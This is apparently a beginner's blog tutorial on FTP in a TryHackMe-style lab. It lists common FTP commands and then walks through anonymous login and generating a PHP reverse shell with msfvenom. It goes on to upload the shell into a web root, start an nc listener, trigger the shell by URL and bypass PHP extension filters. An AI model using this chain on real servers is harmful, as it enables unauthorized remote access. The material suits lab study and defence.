FTP(File Transfer Protocols):

In this protocol the important aspects are getting files and uploading files through ftp protocol most of them work through login systems like username and passwords there's a chance of brute forcing for exploitation. As I said earlier we can upload files if a malicious file is uploaded then we can access through reverse shell. These tasks can be done but the problem lies in utilizing ftp on another devise to our advantage as there are many things like firewalls and IDS which are in middle for us so idea of breaking them seems impossible for any beginner but there's saying that there are some methods to by pass them and this are unique to different situations like there's no common path to get bypass fire walls we need to figure it out ourselves.

In this blog we'll try to understand how to put and get files through ftp like if we upload any files we can access them through the web server of the same device before that we'll see how to get a file from another device through ftp.

Consider you are a client and there a server running on port 21 i.e, ftp.
First we need to login Syntax : ftp <ip>
Name : Anonymous
Password : Anonymous
Most of the time we can get access by Anonymous and after logged in check all the things to find out crucial details or information.
Commands we can use in ftp are below and it's a personal choice to learn all or some of the commands.

FTP Command Categories

Type	**Command Examples**
Session Management	open, user, bye, quit
File Transfer	get, put, mget, mput
Directory Navigation	ls, cd, lcd, pwd, mkdir, rmdir
File Management	delete, rename
Local System Commands	!, !ls, !pwd
Mode Settings	binary, ascii, prompt, passive
Help & Info	help, status

Common FTP Commands with Meaning

Command	**Description**
open <host>	Connect to FTP server
user <username>	Provide login username (then password prompt)

Command	Description
bye / quit	Exit the FTP session
ls	List remote directory contents
cd <dir>	Change remote directory
lcd <dir>	Change local directory
pwd	Print working directory on remote
lpwd	Print working directory on local
get <file>	Download file from remote to local
put <file>	Upload file from local to remote
mget *.txt	Download multiple files matching pattern
mput *.jpg	Upload multiple files
delete <file>	Delete remote file
rename old new	Rename remote file
mkdir <name>	Create a remote directory
rmdir <name>	Remove a remote directory
ascii	Set transfer mode to ASCII (for text files)
binary	Set transfer mode to binary (for images, zips)
status	Show current status of FTP session
prompt	Toggle interactive mode for multiple transfers
passive	Toggle passive mode (useful in firewalled networks)
!<command>	Run a local shell command (e.g., !ls, !pwd)
help or ?	Show list of available FTP commands

Whenever we want to get or put files we use binary like
Syntax: ftp> binary
we can download file like Syntax: get filename.txt (it'll download to the same directory your are in)

So to put a malicious file on the server through ftp
go to binary state in ftp just like above and remember webserver runs on port 80 we can access it by googling <ip> and if any files are available we can see by googling <ip>/filename and consider a situation where yiu have uploaded a file but didn't have any execute permissions then it's a waste of

time because if it doesn’t have execute permission then malicious file wont execute its code.
Upload file Syntax: put (req_file.extension)
on web if we search <ip>/(req_file.name) it is visible if it is malicious file it’ll run
and there’s another method to do this by using msfvenom

1. How does the uploaded file get executed?

After you upload a **web-based reverse shell** (like shell.php), the file will **only execute if**:

- It is placed in a **web-accessible directory** (like /var/www/html).
- The web server is configured to **execute .php files** (or whatever language you're using).
- You **trigger** it via browser or curl like:

http://<ip>/shell.php

✳️ **If all of the above are true, then:**

- The web server **interprets and executes** the code inside shell.php.
- If your shell tries to connect back (reverse shell), it will do that.

🛠️ **2. What about file execution permissions?**

Here's the tricky part:

- In **Linux**, execution permission (the x bit) matters only for **local execution via shell** (like running a script with ./script.sh).
- On a **web server**, PHP or other files are executed by the **web server's interpreter**, not directly by the OS.

🔐 **So:**

You **do not** need to manually set chmod +x or worry about the x permission for shell.php.

Instead:

- What matters is **where the file is uploaded**.
- If you uploaded it into the web root, and .php files are enabled → your file will execute.

📂 **3. Can you manipulate file permissions using FTP?**

Usually NO, but here's the catch:

- The **FTP server controls what commands you can run**.
- **Some FTP servers** allow you to run SITE CHMOD to set file permissions:

SITE CHMOD 755 shell.php

But:

- Many **restrict this command** for security.
- And again: **chmod is usually unnecessary** for .php reverse shells in this context.

🚨 **4. Reverse Shell Execution Flow in Web Context**

Here's how it works in a real TryHackMe room:

Step-by-step:

1. You generate a PHP reverse shell using:

msfvenom -p php/reverse_php LHOST=your_ip LPORT=your_port -f raw > shell.php

2. Upload it via FTP:

ftp <ip>

put shell.php

3. Confirm it's accessible in browser:

http://<ip>/shell.php

4. Start listener:

nc -lvnp <your_port>

5. Visit the URL → the PHP shell connects back → you get a shell.

🧠 **Final Tips:**

- **Use dir or ls inside FTP** to see which folders are there.
- Look for paths like html, www, public, etc.
- If your uploaded file is **not accessible via the browser**, it may not be in the right folder or the web server may not allow .php execution.
- If .php is blocked, try uploading .phtml, .php5, .phar, etc. (extension bypass).

Success rate will increase if we upload in this directories

You're looking for directories like:

- html
- www
- public_html
- web
- htdocs

- site
- Sometimes even /uploads (then test if it's web accessible)

Keep navigating like this:

cd public_html

put shell.php

Then try accessing:

http://<ip>/shell.php